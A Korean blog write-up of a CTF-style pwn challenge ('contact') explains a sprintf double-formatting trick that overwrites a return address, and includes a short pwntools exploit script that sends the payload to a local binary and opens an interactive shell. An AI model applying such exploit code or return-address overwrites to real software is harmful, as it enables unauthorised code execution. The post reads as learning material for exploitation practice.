이번이 3번째 도전하는 문제였지만, 결국 또 못풀고 답을 봐버렸다ㅜ
익스는 매우 간단! 9시간동안 왜 이걸 생각 못헀는지 모르겠다.
fsb처럼 보이지만, %와 n을 동시에 쓰지 못하는 문제!
그리고, sprintf가 두 번 일어나서, %%를 해야, 두번째 sprintf에서 %가 제대로 박힌다.
첫번쨰 sprintf를 이용해서 공백을 이용해서 ret을 덮은거 까지는 생각했으나, 이상하게 1000을 넘는 수가 들어가면
이상한 값이 들어갔다!!
답을 보니 두번째 sprintf를 이용했다.
%1288c(쉘주소)를 하면 1287자리가 공백으로 채워지고, printf("%1288c","%")로 인식!
그리고, 그 다음 4바이트에 ret을 덮을 쉘주소가 덮어진다.
from pwn import *
import time
s=process('./contact')
#raw_input()
s.recv(1024)
s.send("999"+"\n")
s.recv(1024)
s.send("%%1288c\x24\x89\x04\x08"+"\n")
s.recv(1024)
s.send("0"+"\n")
s.interactive()
s.close()
'시스템 해킹 > cykor' 카테고리의 다른 글
ebp-쉘코드, fake ebp, $를 이용한 fsb, fgets의 stdin망가뜨려 while문 벗어나기 (0) | 2018.01.23 |
---|---|
what-fsb $를 이용한 libc릭, 스택주소릭, fini array를 메인으로 (0) | 2018.01.23 |
start_hard-64비트 SROP, 브루트포스 (0) | 2018.01.09 |
scv-64비트, C++, ROP, 카나리릭, libc릭 (0) | 2018.01.06 |
enjoy_rop-ROP+SROP (0) | 2018.01.06 |